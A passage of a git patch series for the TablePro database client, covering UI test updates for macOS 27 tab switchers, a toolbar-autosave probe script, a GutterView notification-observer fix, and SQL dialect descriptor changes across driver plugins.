b/apple/TableProUITests/DataFileWindowUITests.swift index 9dadf9249e..edd0f10f1c 100644 --- a/apple/TableProUITests/DataFileWindowUITests.swift +++ b/apple/TableProUITests/DataFileWindowUITests.swift @@ -23,7 +23,7 @@ final class DataFileWindowUITests: UITestCase { "Row Details must show the selected row, Bob" ) - let cities = window.radioButtons["Cities"].firstMatch + let cities = switcherSegment("Cities", in: window) XCTAssertTrue(cities.waitToExist(timeout: 10), "The window must offer the workbook's other sheet") cities.click() XCTAssertTrue(waitForRowCount("5 rows", in: window), "Choosing a sheet must show that sheet's rows") diff --git a/apple/TableProUITests/QueryPlanResultUITests.swift b/apple/TableProUITests/QueryPlanResultUITests.swift index 460cdf5c2d..2492f07d64 100644 --- a/apple/TableProUITests/QueryPlanResultUITests.swift +++ b/apple/TableProUITests/QueryPlanResultUITests.swift @@ -38,12 +38,13 @@ final class QueryPlanResultUITests: UITestCase { step.click() XCTAssertTrue(detail.waitToExist(timeout: 5), "A click on a step in a zoomed-out diagram must open its details") - let modes = window.radioGroups["query-plan-mode-picker"].firstMatch - modes.radioButtons["Tree"].click() + // A tab group on macOS 27, where the switcher takes the tabs role, and a radio group before it. + let modes = window.descendants(matching: .any)["query-plan-mode-picker"].firstMatch + switcherSegment("Tree", in: modes).click() let outline = window.outlines["query-plan-outline"].firstMatch XCTAssertTrue(outline.waitToExist(timeout: 10), "Tree mode must show the plan outline") XCTAssertGreaterThan(outline.outlineRows.count, 0, "The outline must list the plan's steps") - modes.radioButtons["Diagram"].click() + switcherSegment("Diagram", in: modes).click() XCTAssertTrue(canvas.waitToExist(timeout: 10), "Diagram mode must come back") // Zoom In goes to whatever has focus. Exactly one step from 100% proves the press made from the diff --git a/apple/TableProUITests/Support/UITestCase.swift b/apple/TableProUITests/Support/UITestCase.swift index b8597b1fe3..c45ae89162 100644 --- a/apple/TableProUITests/Support/UITestCase.swift +++ b/apple/TableProUITests/Support/UITestCase.swift @@ -128,6 +128,15 @@ internal class UITestCase: XCTestCase { // MARK: - Finding things + // A view switcher's segment. macOS 27 gives the control the tabs role, which XCUITest reports as a tab + // group of `Tab` elements; before it the segments are radio buttons. + internal func switcherSegment(_ label: String, in container: XCUIElement) -> XCUIElement { + let types = [XCUIElement.ElementType.tab, .radioButton].map(\.rawValue) + return container.descendants(matching: .any) + .matching(NSPredicate(format: "label == %@ AND elementType IN %@", label, types)) + .firstMatch + } + // A window is a direct child of the application; `app.windows` walks the whole tree to find one. internal func window(_ identifier: String, in app: XCUIApplication) -> XCUIElement { app.children(matching: .window).matching(identifier: identifier).firstMatch @@ -276,7 +285,7 @@ internal class UITestCase: XCTestCase { internal func showStructure(in app: XCUIApplication, window: XCUIElement) { showResultView("Structure", in: app) XCTAssertTrue( - window.radioGroups["structure-tab-picker"].firstMatch.waitToExist(timeout: 30), + window.descendants(matching: .any)["structure-tab-picker"].firstMatch.waitToExist(timeout: 30), "The structure editor must open on the Structure result view" ) } diff --git a/apple/changelog.d/3851.changed.md b/apple/changelog.d/3851.changed.md new file mode 100644 index 0000000000..382e8e0624 --- /dev/null +++ b/apple/changelog.d/3851.changed.md @@ -0,0 +1 @@ +Save Changes sits in its own toolbar section, and panes switch views with native tabs across the app. diff --git a/apple/scripts/probes/check-toolbar-autosave-reorder.sh b/apple/scripts/probes/check-toolbar-autosave-reorder.sh new file mode 100755 index 0000000000..b4a6fcc58f --- /dev/null +++ b/apple/scripts/probes/check-toolbar-autosave-reorder.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# +# Check how NSToolbar's autosaved configuration treats a reordered default item list, which decides whether +# MainWindowToolbar.toolbarIdentifier has to be bumped when defaultItemIdentifiers changes order. +# +# A toolbar nobody customized must take the new order on the next launch, and one a user rearranged must keep +# theirs. Each launch is a separate process under one autosave identifier, as an app update is. +# +# Usage: +# scripts/probes/check-toolbar-autosave-reorder.sh +# +# Writes only to the probe binary's own defaults domain and deletes it at the end. Exits 0 when both cases hold, +# 1 when one does not, and 3 when the check could not run. + +set -uo pipefail + +WORK="$(mktemp -d)" +DOMAIN="toolbar-reorder-probe" +trap 'defaults delete "$DOMAIN" >/dev/null 2>&1; rm -rf "$WORK"' EXIT + +cat > "$WORK/main.swift" <<'SWIFT' +import AppKit + +let ids = ["a", "b", "c", "d"].map { NSToolbarItem.Identifier("probe." + $0) } + +final class Delegate: NSObject, NSToolbarDelegate { + let order: [NSToolbarItem.Identifier] + init(order: [NSToolbarItem.Identifier]) { self.order = order } + func toolbar( + _ toolbar: NSToolbar, + itemForItemIdentifier id: NSToolbarItem.Identifier, + willBeInsertedIntoToolbar flag: Bool + ) -> NSToolbarItem? { + let item = NSToolbarItem(itemIdentifier: id) + item.label = id.rawValue + item.image = NSImage(systemSymbolName: "circle", accessibilityDescription: nil) + return item + } + func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { order } + func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { ids } +} + +let reordered = CommandLine.arguments[1] == "reordered" +let customize = CommandLine.arguments.count > 2 && CommandLine.arguments[2] == "customize" +let app = NSApplication.shared +app.setActivationPolicy(.accessory) +let delegate = Delegate(order: reordered ? [ids[0], ids[2], ids[3], ids[1]] : ids) +let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 600, height: 200), + styleMask: [.titled, .closable], + backing: .buffered, + defer: false +) +let toolbar = NSToolbar(identifier: "probe.reorder.toolbar") +toolbar.delegate = delegate +toolbar.allowsUserCustomization = true +toolbar.autosavesConfiguration = true +window.toolbar = toolbar +window.orderFront(nil) +DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { + if customize, let index = toolbar.items.firstIndex(where: { $0.itemIdentifier == ids[3] }) { + toolbar.removeItem(at: index) + toolbar.insertItem(withItemIdentifier: ids[3], at: 0) + } + print(toolbar.items.map { $0.itemIdentifier.rawValue.replacingOccurrences(of: "probe.", with: "") }.joined(separator: ",")) + UserDefaults.standard.synchronize() + DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { exit(0) } +} +app.run() +SWIFT + +swiftc -O "$WORK/main.swift" -o "$WORK/$DOMAIN" >/dev/null 2>&1 || { + echo "the probe did not compile" >&2 + exit 3 +} + +status=0 +defaults delete "$DOMAIN" >/dev/null 2>&1 +"$WORK/$DOMAIN" original >/dev/null +uncustomized="$("$WORK/$DOMAIN" reordered)" +if [ "$uncustomized" = "a,c,d,b" ]; then + echo "PASS uncustomized toolbar takes the new default order ($uncustomized)" +else + echo "FAIL uncustomized toolbar kept $uncustomized, expected a,c,d,b" + status=1 +fi + +defaults delete "$DOMAIN" >/dev/null 2>&1 +"$WORK/$DOMAIN" original customize >/dev/null +customized="$("$WORK/$DOMAIN" reordered)" +if [ "$customized" = "d,a,b,c" ]; then + echo "PASS customized toolbar keeps the user's order ($customized)" +else + echo "FAIL customized toolbar showed $customized, expected d,a,b,c" + status=1 +fi + +exit $status From 1ccc33149c9a74b7922ddef048adf3ed30305416 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 04:13:11 +0700 Subject: [PATCH 06/44] fix(ios): set ITSAppUsesNonExemptEncryption to NO while France is not distributed (#3852) --- apple/TableProMobile/project.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apple/TableProMobile/project.yml b/apple/TableProMobile/project.yml index 6db30666db..173932e730 100644 --- a/apple/TableProMobile/project.yml +++ b/apple/TableProMobile/project.yml @@ -190,7 +190,7 @@ targets: GENERATE_INFOPLIST_FILE: YES INFOPLIST_FILE: TableProMobile/Info.plist INFOPLIST_KEY_CFBundleDisplayName: TablePro - INFOPLIST_KEY_ITSAppUsesNonExemptEncryption: YES + INFOPLIST_KEY_ITSAppUsesNonExemptEncryption: NO INFOPLIST_KEY_LSApplicationCategoryType: public.app-category.developer-tools INFOPLIST_KEY_UIApplicationSceneManifest_Generation: YES INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents: YES From 165c22b2abd52296d1cfed94f8f78dd8d77b1764 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 16:33:51 +0700 Subject: [PATCH 07/44] feat(formatter): read each engine's grammar, add layout options and Vim tab commands (#3854) --- .claude/rules/plugin-system.md | 4 +- apple/Configs/PluginKit.xcconfig | 2 +- .../SQLLexicalGrammar.swift | 4 + .../SQLLexicalProfile.swift | 1 + .../SQLLexicalReadings.swift | 8 +- .../SQLLexicalReadingsTests.swift | 8 + .../TableProEditorKit/Gutter/GutterView.swift | 11 +- .../GutterSelectionObserverTests.swift | 61 + .../BigQueryDriverPlugin/BigQueryPlugin.swift | 5 +- .../CassandraPlugin.swift | 5 +- .../CloudflareD1Plugin.swift | 5 +- .../DamengDriverPlugin/DamengPlugin.swift | 5 +- .../DuckDBDriverPlugin/DuckDBPlugin.swift | 3 +- .../HanaDriverPlugin/HanaMetadata.swift | 3 +- .../LibSQLDriverPlugin/LibSQLPlugin.swift | 5 +- .../MSSQLDriverPlugin/MSSQLPlugin.swift | 3 +- .../MySQLDriverPlugin/MySQLPlugin.swift | 3 +- .../OracleDriverPlugin/OraclePlugin.swift | 3 +- .../PostgreSQLDialect.swift | 3 +- .../SQLiteDriverPlugin/SQLitePlugin.swift | 3 +- .../SnowflakePlugin.swift | 5 +- .../SpannerDriverPlugin/SpannerPlugin.swift | 5 +- .../SQLDialectDescriptor.swift | 53 +- .../TeradataDriverPlugin/TeradataPlugin.swift | 5 +- .../TrinoDriverPlugin/TrinoPlugin.swift | 5 +- ...PluginMetadataRegistry+CloudDefaults.swift | 15 +- ...uginMetadataRegistry+CuratedDefaults.swift | 12 +- .../PluginMetadataRegistry+HanaDefaults.swift | 3 +- ...ginMetadataRegistry+RegistryDefaults.swift | 5 +- ...MetadataRegistry+RegistryIngredients.swift | 24 +- ...ginMetadataRegistry+SnapshotAdoption.swift | 3 +- ...PluginMetadataRegistry+TrinoDefaults.swift | 5 +- .../Services/Formatting/QueryFormatter.swift | 27 +- .../Formatting/SQLFormatterRulesFile.swift | 121 +- .../Formatting/SQLFormatterService.swift | 874 +++++++++--- .../Formatting/SQLFormatterTypes.swift | 97 +- .../Services/Formatting/SQLTokenizer.swift | 479 ++++++- .../Services/Query/SQLDialectProvider.swift | 6 + .../Utilities/SQL/SQLQueryFingerprint.swift | 4 +- .../Core/Vim/VimCommandLineHandler.swift | 89 +- .../Core/Vim/VimEngine+NormalMode.swift | 14 + .../Core/Vim/VimEngine+Operators.swift | 8 +- .../Core/Vim/VimEngine+RegistersMarks.swift | 6 +- .../Core/Vim/VimEngine+VisualMode.swift | 4 +- apple/TablePro/Core/Vim/VimRegister.swift | 13 +- .../Models/Query/QueryTabManager.swift | 4 +- .../Settings/SQLFormatterSettings.swift | 36 +- .../TablePro/Resources/Localizable.xcstrings | 30 + .../Views/Editor/SQLEditorController.swift | 6 + .../Views/Editor/SQLEditorCoordinator.swift | 42 +- .../Main/Child/MainEditorContentView.swift | 3 + .../Settings/Sections/FormatterSection.swift | 48 +- .../Formatting/SQLFormatterRulesTests.swift | 134 +- .../Services/SQLFormatterServiceTests.swift | 1243 ++++++++++++++++- .../Core/Services/SQLTokenizerTests.swift | 227 ++- .../Vim/VimEngineBlackHoleRegisterTests.swift | 52 + .../Core/Vim/VimEngineTabCommandsTests.swift | 209 +++ .../SQLLexicalFeatureMappingTests.swift | 12 +- apple/changelog.d/3854.added.1.md | 1 + apple/changelog.d/3854.added.2.md | 1 + apple/changelog.d/3854.changed.md | 1 + apple/changelog.d/3854.fixed.1.md | 1 + apple/changelog.d/3854.fixed.2.md | 1 + apple/changelog.d/3854.fixed.md | 1 + apple/scripts/check-pluginkit-abi.sh | 52 +- apple/scripts/ci/test_check_pluginkit_abi.py | 17 + 66 files changed, 3758 insertions(+), 390 deletions(-) create mode 100644 apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift create mode 100644 apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift create mode 100644 apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift create mode 100644 apple/changelog.d/3854.added.1.md create mode 100644 apple/changelog.d/3854.added.2.md create mode 100644 apple/changelog.d/3854.changed.md create mode 100644 apple/changelog.d/3854.fixed.1.md create mode 100644 apple/changelog.d/3854.fixed.2.md create mode 100644 apple/changelog.d/3854.fixed.md diff --git a/.claude/rules/plugin-system.md b/.claude/rules/plugin-system.md index 1c254d78b3..3fe45cefce 100644 --- a/.claude/rules/plugin-system.md +++ b/.claude/rules/plugin-system.md @@ -24,11 +24,11 @@ TableProPluginKit is built with Library Evolution, so an already-built plugin ke - Add a requirement only with a default implementation, then bridge it in `PluginDriverAdapter`. - Additive: a new requirement with a default, a new field on a non-`@frozen` struct, a new case on a non-`@frozen` enum, a reordering. - Breaking: a changed, removed or renamed requirement or signature, a requirement without a default, a new case on a `@frozen` enum, a change to a frozen type's layout. -- Every ABI change sets `TABLEPRO_PLUGINKIT_VERSION` in `apple/Configs/PluginKit.xcconfig` to one past the kit of the newest `v*` tag reachable from HEAD; later changes before the next tag reuse it. A `release/*` line never bumps it. +- Every ABI change sets `TABLEPRO_PLUGINKIT_VERSION` in `apple/Configs/PluginKit.xcconfig` to one past the highest kit a `v*` tag shipped, including a tag on a `release/*` branch HEAD cannot reach; later changes before the next tag reuse it. A `release/*` line never bumps it. - The build stamps that value into `TableProPluginKitVersion` of the app and of every plugin. A plugin's `Info.plist` holds `TABLEPRO_PLUGINKIT_VERSION` and is preprocessed, because every shipped app reads the key with `as? Int`; the source file therefore fails `plutil -lint`. - After an additive change, built plugins keep loading, and the bump makes an older app refuse a plugin rebuilt against the new API instead of failing its load. - A breaking change also raises `TABLEPRO_PLUGINKIT_MINIMUM_VERSION`. Every tag ships every registry plugin built against its own kit, so the release that carries the change carries plugins in its range. -- `apple/scripts/check-pluginkit-abi.sh [--frozen] [base]` (`verify.sh abi [base]`) builds PluginKit at the base, by default the newest `v*` tag reachable from HEAD, and at HEAD with Xcode's ABI checker (`RUN_SWIFT_ABI_CHECKER_TOOL`). CI runs it in `.github/workflows/macos-tests.yml` when the `plugins` suite is true, `--frozen` on a PR into `release/*`. +- `apple/scripts/check-pluginkit-abi.sh [--frozen] [base]` (`verify.sh abi [base]`) builds PluginKit at the base, by default the `v*` tag that shipped the highest kit (with `--frozen`, the newest one reachable from HEAD), and at HEAD with Xcode's ABI checker (`RUN_SWIFT_ABI_CHECKER_TOOL`). CI runs it in `.github/workflows/macos-tests.yml` when the `plugins` suite is true, `--frozen` on a PR into `release/*`. - A checker error is a breaking change: the kit and the minimum must both be one past the base's kit, so the host refuses every plugin built before it. A baseline that changed with no error needs the kit one past the base's and the base's minimum; an identical one needs the base's kit and minimum. `--frozen` fails on any ABI change. - The checker reports breakage only; an additive change shows as a changed baseline. Its errors are in the log `verify.sh abi` prints. - Mark a public enum `@frozen` only when its case set is closed. `PluginCapability` and the transfer structs stay non-frozen so they can grow. diff --git a/apple/Configs/PluginKit.xcconfig b/apple/Configs/PluginKit.xcconfig index 8ed03963ae..4e2f48a60f 100644 --- a/apple/Configs/PluginKit.xcconfig +++ b/apple/Configs/PluginKit.xcconfig @@ -1,3 +1,3 @@ // When to raise each, and how the build stamps them: .claude/rules/plugin-system.md, ABI. -TABLEPRO_PLUGINKIT_VERSION = 40 +TABLEPRO_PLUGINKIT_VERSION = 41 TABLEPRO_PLUGINKIT_MINIMUM_VERSION = 19 diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift index 83977932c7..b1d7a9ee5e 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift @@ -99,6 +99,10 @@ public struct SQLLexicalGrammar: OptionSet, Hashable, Sendable { /// ``CQLBatchTracker``. Only the curated CQL grammar carries it, so the kit has no feature for it. public static let cqlBatches = SQLLexicalGrammar(rawValue: 1 << 26) + /// `#` and `@` continue a name after its first character, so T-SQL's `Part#` and `c@d` are one name each. Only the + /// curated T-SQL grammar carries it, so the kit has no feature for it. + public static let hashAndAtInIdentifiers = SQLLexicalGrammar(rawValue: 1 << 27) + /// Standard SQL: quotes close only on a doubled quote, `--` and flat `/* */` are the only comments. public static let ansi: SQLLexicalGrammar = [] diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift index 49f7582a25..455d502584 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift @@ -136,6 +136,7 @@ public struct SQLLexicalProfile: Sendable, Hashable { public static let sqlServer: SQLLexicalGrammar = [ .bracketQuotedIdentifiers, .doubledClosingBracketEscapes, .nestedBlockComments, .carriageReturnEndsLineComments, .batchSeparatorLines, .unterminatedStatements, .terminatedMergeStatements, + .hashAndAtInIdentifiers, ] /// Spanner's GoogleSQL dialect on the emulator, measured, and BigQuery by the ZetaSQL grammar the two share: a diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift index 42ba5aff14..c839318837 100644 --- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift +++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift @@ -153,8 +153,12 @@ enum SQLLexicalRelevance { .parenthesizedParameterNames, ]) case SqlLexer.hash: - facts.formUnion([.hashLineComments, .dollarAndHashInIdentifiers, .parenthesizedParameterNames]) - case at, colon: + facts.formUnion([ + .hashLineComments, .dollarAndHashInIdentifiers, .parenthesizedParameterNames, .hashAndAtInIdentifiers, + ]) + case at: + facts.formUnion([.parenthesizedParameterNames, .hashAndAtInIdentifiers]) + case colon: facts.insert(.parenthesizedParameterNames) case SqlLexer.slash: facts.insert(.slashLineTerminators) diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift index 59794c57ca..87fbf18b84 100644 --- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift +++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift @@ -17,6 +17,14 @@ struct SQLLexicalReadingsTests { #expect(missing.isEmpty) } + @Test("Only T-SQL names continue with # and @") + func hashAndAtContinueOnlyTSQLNames() { + #expect(SQLLexicalProfile.curated(forDatabaseTypeId: "SQL Server")?.grammar.contains(.hashAndAtInIdentifiers) == true) + for typeId in ["MySQL", "PostgreSQL", "SQLite", "Oracle", "ClickHouse", "DuckDB"] { + #expect(SQLLexicalProfile.curated(forDatabaseTypeId: typeId)?.grammar.contains(.hashAndAtInIdentifiers) == false) + } + } + @Test("A curated engine ignores what a plugin declares, because a registry plugin may be older than the app") func curatedGrammarWinsOverDeclaration() { let readings = SQLLexicalReadings.resolve( diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift index 2a3e087f1f..d32d6a20bb 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift @@ -142,6 +142,8 @@ public class GutterView: NSView { private var fontLineHeight = 1.0 + private(set) var selectionObserver: NSObjectProtocol? + private func updateFontLineHeight() { let string = NSAttributedString(string: "0", attributes: [.font: font]) let typesetter = CTTypesetterCreateWithAttributedString(string) @@ -265,9 +267,10 @@ public class GutterView: NSView { addSubview(foldingRibbon) addSubview(statementRunRibbon) - NotificationCenter.default.addObserver( + // A block observer is only removed through its token, and only this editor's selection moves its line band. + selectionObserver = NotificationCenter.default.addObserver( forName: TextSelectionManager.selectionChangedNotification, - object: nil, + object: controller.textView.selectionManager, queue: .main ) { [weak self] _ in self?.needsDisplay = true @@ -504,7 +507,9 @@ public class GutterView: NSView { } deinit { - NotificationCenter.default.removeObserver(self) + if let selectionObserver { + NotificationCenter.default.removeObserver(selectionObserver) + } delegate = nil textView = nil } diff --git a/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift new file mode 100644 index 0000000000..935a9503bc --- /dev/null +++ b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift @@ -0,0 +1,61 @@ +// +// GutterSelectionObserverTests.swift +// TableProEditorKitTests +// + +import AppKit +@testable import TableProEditorKit +import TableProTextEngine +import Testing + +@MainActor +struct GutterSelectionObserverTests { + // NotificationCenter holds a block observer's token until it is removed, so a surviving token is a leaked block. + @Test("A closed gutter's selection observer is removed") + func observerIsRemovedWithTheGutter() { + let controller = Mock.textViewController(theme: Mock.theme()) + weak var token: AnyObject? + + autoreleasepool { + let gutter = GutterView( + font: .monospacedSystemFont(ofSize: 12, weight: .regular), + textColor: .labelColor, + selectedTextColor: nil, + controller: controller + ) + token = gutter.selectionObserver as AnyObject? + #expect(token != nil) + } + + #expect(token == nil) + } + + @Test("A selection change in another editor does not redraw this gutter") + func otherEditorsSelectionLeavesGutterAlone() { + let first = Mock.loadedTextViewController(string: "a\nb\nc") + let second = Mock.loadedTextViewController(string: "x\ny\nz") + let gutter = CountingGutter( + font: .monospacedSystemFont(ofSize: 12, weight: .regular), + textColor: .labelColor, + selectedTextColor: nil, + controller: first + ) + let before = gutter.redraws + + second.textView.selectionManager.setSelectedRange(NSRange(location: 2, length: 0)) + #expect(gutter.redraws == before) + + first.textView.selectionManager.setSelectedRange(NSRange(location: 2, length: 0)) + #expect(gutter.redraws > before) + } +} + +// `needsDisplay` does not read back on a layer-backed view outside a window, but setting it goes through this. +private final class CountingGutter: GutterView { + private(set) var redraws = 0 + + override func setNeedsDisplay(_ invalidRect: NSRect) { + redraws += 1 + super.setNeedsDisplay(invalidRect) + } +} diff --git a/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift b/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift index 574236ec49..76cc8b6d8f 100644 --- a/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift +++ b/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift @@ -165,7 +165,10 @@ final class BigQueryPlugin: NSObject, TableProPlugin, DriverPlugin { booleanLiteralStyle: .truefalse, likeEscapeStyle: .implicit, paginationStyle: .limit, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) static let explainVariants: [ExplainVariant] = [ diff --git a/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift b/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift index 52750936e2..0be08c02fb 100644 --- a/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift +++ b/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift @@ -106,7 +106,10 @@ internal final class CassandraPlugin: NSObject, TableProPlugin, DriverPlugin, Pl likeEscapeStyle: .explicit, paginationStyle: .limit, autoLimitStyle: .limit, - caseSensitivityStyle: .unsupported + caseSensitivityStyle: .unsupported, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) } diff --git a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift index 231d727576..215ac5cb6e 100644 --- a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift +++ b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift @@ -95,7 +95,10 @@ final class CloudflareD1Plugin: NSObject, TableProPlugin, DriverPlugin { booleanLiteralStyle: .numeric, likeEscapeStyle: .explicit, paginationStyle: .limit, - caseSensitivityStyle: .collationDefined + caseSensitivityStyle: .collationDefined, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) static let additionalConnectionFields: [ConnectionField] = [ diff --git a/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift b/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift index 20b67e055f..f4a18bb052 100644 --- a/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift +++ b/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift @@ -99,7 +99,10 @@ final class DamengPlugin: NSObject, TableProPlugin, DriverPlugin { paginationStyle: .offsetFetch, offsetFetchOrderBy: "ORDER BY 1", autoLimitStyle: .fetchFirst, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { diff --git a/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift b/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift index 8067b85e00..ce3cd3ebc4 100644 --- a/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift +++ b/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift @@ -165,7 +165,8 @@ final class DuckDBPlugin: NSObject, TableProPlugin, DriverPlugin { operators: SQLEngineVocabulary.duckDB.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), // DuckDB has no LIKE or lower() for INTEGER, UUID or DATE: `~~(INTEGER, STRING_LITERAL)` is a binder error. textCastTypeName: "VARCHAR", - functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { diff --git a/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift b/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift index 78143c4846..02d9ac6faf 100644 --- a/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift +++ b/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift @@ -70,6 +70,7 @@ enum HanaMetadata { caseSensitivityStyle: .caseFoldFunction, textCastTypeName: nil, functionNamesAreCaseInsensitive: true, - lexicalFeatures: [.dollarAndHashInIdentifiers] + lexicalFeatures: [.dollarAndHashInIdentifiers], + typeNamesAreCaseInsensitive: true ) } diff --git a/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift b/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift index 0fdb76f803..84c62073bc 100644 --- a/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift +++ b/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift @@ -99,7 +99,10 @@ final class LibSQLPlugin: NSObject, TableProPlugin, DriverPlugin { booleanLiteralStyle: .numeric, likeEscapeStyle: .explicit, paginationStyle: .limit, - caseSensitivityStyle: .collationDefined + caseSensitivityStyle: .collationDefined, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) static let additionalConnectionFields: [ConnectionField] = [ diff --git a/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift b/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift index 0eb1e86733..759a8528aa 100644 --- a/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift +++ b/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift @@ -232,7 +232,8 @@ final class MSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.sqlServer.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) static let supportsDropDatabase = true diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift index 19c02e1fec..e38685d0d2 100644 --- a/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift +++ b/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift @@ -94,7 +94,8 @@ final class MySQLPlugin: NSObject, TableProPlugin, DriverPlugin { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.mySQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) static let supportsDropDatabase = true diff --git a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift 